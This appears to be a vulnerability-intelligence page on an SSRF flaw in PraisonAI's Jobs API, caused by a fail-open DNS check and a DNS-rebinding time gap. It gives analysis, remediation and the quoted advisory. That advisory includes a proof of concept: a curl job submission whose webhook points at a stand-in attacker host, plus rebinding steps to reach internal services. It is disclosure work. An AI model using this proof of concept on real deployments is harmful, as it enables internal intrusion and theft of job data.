Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain valid Jobs API bearer token
-
DeliverySubmit job with NXDOMAIN webhook_url (gaierror fail-open accepts it)
-
ExploitUpdate attacker DNS to resolve hostname to 127.0.0.1
-
ExecutionJob completes, _send_webhook() resolves hostname fresh via httpx
-
PersistPOST delivered to internal service
-
ImpactTrigger internal service action or exfiltrate job result data
Vulnerability Assessment
| Weakness |
CWE
ASVS 5.0
V15 - Secure Coding and Architecture TOCTOU prevention
|
| Exploitation Conditions | Exploitation requires: (1) a valid bearer token for the PraisonAI Jobs API - CVSS PR:L confirms low-privilege authenticated access is the minimum; unauthenticated exploitation is not supported by the available data; (2a) for the primary DNS-rebinding path, attacker control over a domain's DNS records with ability to serve NXDOMAIN initially then switch to a private IP within the job's queue-processing window; OR (2b) for the transient-DNS-failure variant, the ability to submit jobs during a period when the PraisonAI server's DNS resolver is temporarily unreachable (no DNS control needed - attacker retries submission until a transient gaierror occurs); (3) the PraisonAI deployment must have the Jobs module active and expose the |
| Impact | The CVSS 3.1 score of 7.1 (AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N) accurately characterizes the primary attack path: network-reachable, high complexity due to DNS timing requirements, and low-privilege authentication required. However, the AC:H rating applies primarily to the DNS-rebinding variant; the transient-DNS-failure variant - where the attacker simply retries submission during a moment the PraisonAI server's DNS resolver is unreachable - requires no DNS control at all, effectively lowering practical attack complexity for opportunistic exploitation. No EPSS data was provided, so exploitation probability cannot be quantified from that signal. The vulnerability is not listed in CISA KEV at time of analysis, and no exploitation beyond the PoC is confirmed. The S:C scope change is well-justified: the SSRF allows the PraisonAI server to POST to internal services (127.0.0.1, RFC-1918 ranges) that are otherwise network-isolated, and the tags note Jenkins as a realistic target - a Jenkins webhook endpoint receiving an unexpected POST could trigger pipeline execution. Real-world risk is elevated for multi-tenant deployments or API-gateway integrations where untrusted callers can reach the Jobs API, and significantly lower for single-tenant or firewalled installations. The 'RCE' tag in the input data reflects secondary impact (SSRF to a service that interprets POSTs as commands), not direct code execution in PraisonAI itself - this distinction matters for triage. |
| Exploit ScenarioDerived | An attacker holding a valid PraisonAI API bearer token submits a job to |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 25, 2026
Server-Side Request Forgery in PraisonAI's Jobs API (pip/praisonai < 4.6.58) results from two compounding flaws: a fail-open DNS error handler in JobSubmitRequest.validate_webhook_url() that silently accepts any webhook URL when socket.gaierror is raised, and a TOCTOU race where JobExecutor._send_webhook() performs a completely independent DNS resolution via httpx.AsyncClient minutes to hours after validation. Authenticated attackers with a valid API bearer token can submit a job whose webhook_url hostname returns NXDOMAIN at validation time, then update DNS to a private IP before job completion, causing the executor to POST job result data to internal infrastructure. A detailed proof-of-concept is publicly available in GHSA-rg5q-pp8p-f7jm; no public exploit identified at time of analysis beyond the PoC, and this CVE is not listed in CISA KEV.
RemediationAI
Upgrade PraisonAI to version 4.6.58 or later, confirmed fixed in patch commit 2f9677abb2ea68eab864ee8b6a828fd0141612e1 (https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1) and released at https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58. The patch changes the socket.gaierror handler in jobs/models.py to raise ValueError (fail-closed) and adds a re-validation call in _send_webhook() before dispatching the httpx POST, closing both the fail-open and TOCTOU vectors. If immediate patching is not possible, the most effective compensating control is restricting POST /jobs access to a trusted network segment or authenticated internal callers only - this eliminates the external attacker's ability to submit malicious webhook URLs. As a narrower alternative, a WAF rule rejecting any webhook_url field value in job submission request bodies disables the feature entirely; trade-off is loss of legitimate webhook functionality. Blocking outbound HTTP from the PraisonAI process to RFC-1918 and loopback ranges at the host or container firewall level is a defense-in-depth measure that prevents the SSRF payload from reaching internal services even if a bypass is submitted, with no functional impact on legitimate external webhook delivery.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is PraisonAI (pkg:pip/praisonai), a Python-based AI agent orchestration framework. CWE-367 (Time-of-Check Time-of-Use Race Condition) precisely describes the root cause: the security decision - whether a webhook hostname resolves to a private IP - is made at job submission in jobs/models.py using socket.gethostbyname(), but the actual HTTP dispatch occurs in jobs/executor.py via httpx.AsyncClient, which creates a new TCP connection and resolves DNS independently with no shared cache. The TOCTOU window spans the entire job queue depth - potentially minutes to hours. A compounding flaw makes DNS control optional: when socket.gethostbyname() raises socket.gaierror (NXDOMAIN, timeout, or any network error), the validator executes except socket.gaierror: pass, unconditionally accepting the URL. This means any transient DNS failure during validation - rate-limiting, resolver outage, or deliberate retries - bypasses the private-IP check entirely without requiring attacker DNS control. This vulnerability is an explicit bypass of the patch for CVE-2026-40114 (GHSA-8frj-8q3m-xhgm), which introduced validate_webhook_url() in v4.5.126; the fix introduced the fail-open behavior now being exploited.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N
Network API requires bearer token (PR:L); DNS timing coordination makes AC:H; SSRF reaching internal services constitutes scope change with high confidentiality and low integrity impact.
Primary rating from Vendor (https://github.com/MervinPraison/PraisonAI).
CVSS VectorVendor: https://github.com/MervinPraison/PraisonAI
DescriptionCVE.org
Summary
praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url() validates webhook URLs by resolving the hostname and checking whether the IP is private. When DNS resolution fails (socket.gaierror), the validator silently passes the URL via except socket.gaierror: pass. Additionally, even when DNS succeeds at validation time, the webhook is fired much later by JobExecutor._send_webhook(), which calls httpx.AsyncClient().post(job.webhook_url) - performing a fresh, independent DNS lookup at execution time. Together, these flaws create a TOCTOU SSRF window.
An attacker can:
- Submit a job with
webhook_urlpointing to a hostname that currently does not
resolve (NXDOMAIN) → validation passes (gaierror → pass)
- Update DNS to point that hostname to
127.0.0.1or another private IP - When the job completes,
_send_webhook()resolves the hostname fresh → POST sent
to the internal IP
Details
Flaw 1 - Fail-open on DNS error (jobs/models.py lines 58-66):
@field_validator("webhook_url")
@classmethod
def validate_webhook_url(cls, v):
...
try:
ip = socket.gethostbyname(hostname)
ip_obj = ipaddress.ip_address(ip)
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
raise ValueError("Webhook URL resolves to private network address")
except socket.gaierror:
pass
# <-- FAIL-OPEN: DNS failure allows the URL without restriction
return vWhen socket.gethostbyname(hostname) raises socket.gaierror (NXDOMAIN, timeout, network error during validation), execution flows to pass and the URL is accepted.
Flaw 2 - Fresh DNS at execution time (jobs/executor.py lines 376-406):
async def _send_webhook(self, job: Job):
async with httpx.AsyncClient(timeout=30.0) as client:
response = await client.post(
job.webhook_url,
# <-- fresh DNS resolution here, not cached from validation
json=payload,
...
)httpx.AsyncClient creates a new connection per call. DNS is resolved at execution time, completely independent of the validation-time resolution. The gap between submission and execution can be minutes to hours (depending on job queue depth and timeout settings).
Combined TOCTOU window:
T=0 Attacker submits: webhook_url = "http://rebind.attacker.com/cb"
Validation: socket.gethostbyname("rebind.attacker.com") → gaierror (NXDOMAIN)
Result: except socket.gaierror: pass → ACCEPTED
T=5 Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60)
T=60 Job completes. _send_webhook() fires:
httpx.post("http://rebind.attacker.com/cb")
DNS: rebind.attacker.com → 127.0.0.1
POST reaches 127.0.0.1 → SSRFRelation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm: That CVE covered "no URL validation at all" on the webhook_url parameter, patched in v4.5.126 by adding validate_webhook_url() to jobs/models.py. This finding targets the validation code itself - the except socket.gaierror: pass fail-open introduced in that patch. CVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.
PoC
Requirements: A domain you control with configurable DNS TTL, access to the jobs API
Step 1 - Confirm fail-open behaviour (local code verification):
from praisonai.jobs.models import JobSubmitRequest
from unittest.mock import patch
import socket
# Simulate: hostname temporarily does not resolve
with patch("socket.gethostbyname", side_effect=socket.gaierror("NXDOMAIN")):
req = JobSubmitRequest(
prompt="hello",
webhook_url="http://rebind.attacker.com/callback"
)
# No exception raised - URL accepted despite NXDOMAIN
print("Webhook accepted:", req.webhook_url)Expected: Webhook accepted: http://rebind.attacker.com/callback
Step 2 - Confirm fresh DNS at execution time:
# From jobs/executor.py _send_webhook():
# httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator)
# Standard httpx behaviour: each .post() resolves DNS independently
import httpx, asyncio
async def demo():
# httpx resolves DNS here, not using any cached result from validation
async with httpx.AsyncClient() as client:
# This call resolves "rebind.attacker.com" fresh at runtime
# If DNS changed since validation, it hits the new IP
try:
r = await client.post("http://rebind.attacker.com/callback", json={})
except Exception as e:
print(f"Connection: {e}")
asyncio.run(demo())Step 3 - Full attack scenario:
# 1. Set up domain with short TTL, currently returning NXDOMAIN
# rebind.attacker.com → (no record, TTL=60)
# 2. Submit job via API
curl -X POST http://praisonai-server:8000/jobs \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"prompt": "Calculate 2+2",
"webhook_url": "http://rebind.attacker.com/callback"
}'
# Response: {"job_id": "job_abc123", "status": "queued", ...}
# 3. After 5 seconds (before job finishes), add DNS record:
# rebind.attacker.com A 127.0.0.1 TTL=60
# 4. Wait for job to complete (seconds to minutes).
# _send_webhook() fires and resolves rebind.attacker.com → 127.0.0.1
# POST request hits 127.0.0.1 (internal service)
# If 127.0.0.1:80 is running a service, it receives:
# POST /callback HTTP/1.1
# Content-Type: application/json
# {"job_id": "job_abc123", "status": "succeeded", "result": "4", ...}Immediate variant (no DNS timing required):
If DNS resolution fails transiently (rate limit, network blip, temporary outage) during validation, the webhook is accepted unconditionally even for a URL that would normally resolve to a private IP. No attacker control over DNS timing is required - the attacker simply retries submission during moments when their DNS server is unreachable (e.g., their DNS server is down, causing gaierror).
Impact
What kind of vulnerability: Server-Side Request Forgery via TOCTOU DNS rebinding and validation fail-open.
Who is impacted: Any deployment exposing the PraisonAI Jobs API (POST /jobs) to external or lower-trusted callers. This includes:
- Multi-tenant deployments where workspace members submit jobs
- API integrations (n8n, Zapier-style workflows) that provide
webhook_urlfields
Post-exploit capabilities:
- HTTP POST to any internal service with JSON payload (job result data)
- If an internal service interprets the POST body as commands (Jenkins webhook,
Consul KV, etc.), this achieves code execution on internal infrastructure
- Exfiltration of job results (which may include agent reasoning, data retrieved
during the task, discovered credentials) to an attacker-controlled endpoint
---
## Remediation Suggestion (for maintainers)
**Fix 1 - Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):**
VULNERABLE
except socket.gaierror: pass
FIXED
except socket.gaierror: raise ValueError( "Webhook URL hostname could not be resolved. " "Ensure the hostname is valid and publicly reachable." )
**Fix 2 - Re-validate at execution time (`jobs/executor.py` before `_send_webhook`):**
async def _send_webhook(self, job: Job): if not job.webhook_url: return
Re-validate to prevent DNS rebinding
try: from urllib.parse import urlparse import socket, ipaddress hostname = urlparse(job.webhook_url).hostname ip = socket.gethostbyname(hostname) if ipaddress.ip_address(ip).is_private: logger.warning(f"Webhook SSRF blocked at execution time: {job.webhook_url}") return except Exception as e: logger.warning(f"Webhook validation failed at execution: {e}") return
... proceed with httpx.post
Latest POC
1 public PoC link from github
Sign in to open the public PoC links collected for this CVE.
Executive ViewAI
PraisonAI versions before 4.6.58 contain a vulnerability in the Jobs API that allows authenticated users to redirect job results to internal company infrastructure, creating a pathway for data exfiltration and unauthorized access to internal systems. Any employee or contractor with a valid API token could exploit this vulnerability to redirect sensitive information away from intended destinations toward private networks, making urgent patching essential to prevent unauthorized access to confidential business data.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
EUVD-2026-65515
GHSA-rg5q-pp8p-f7jm
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB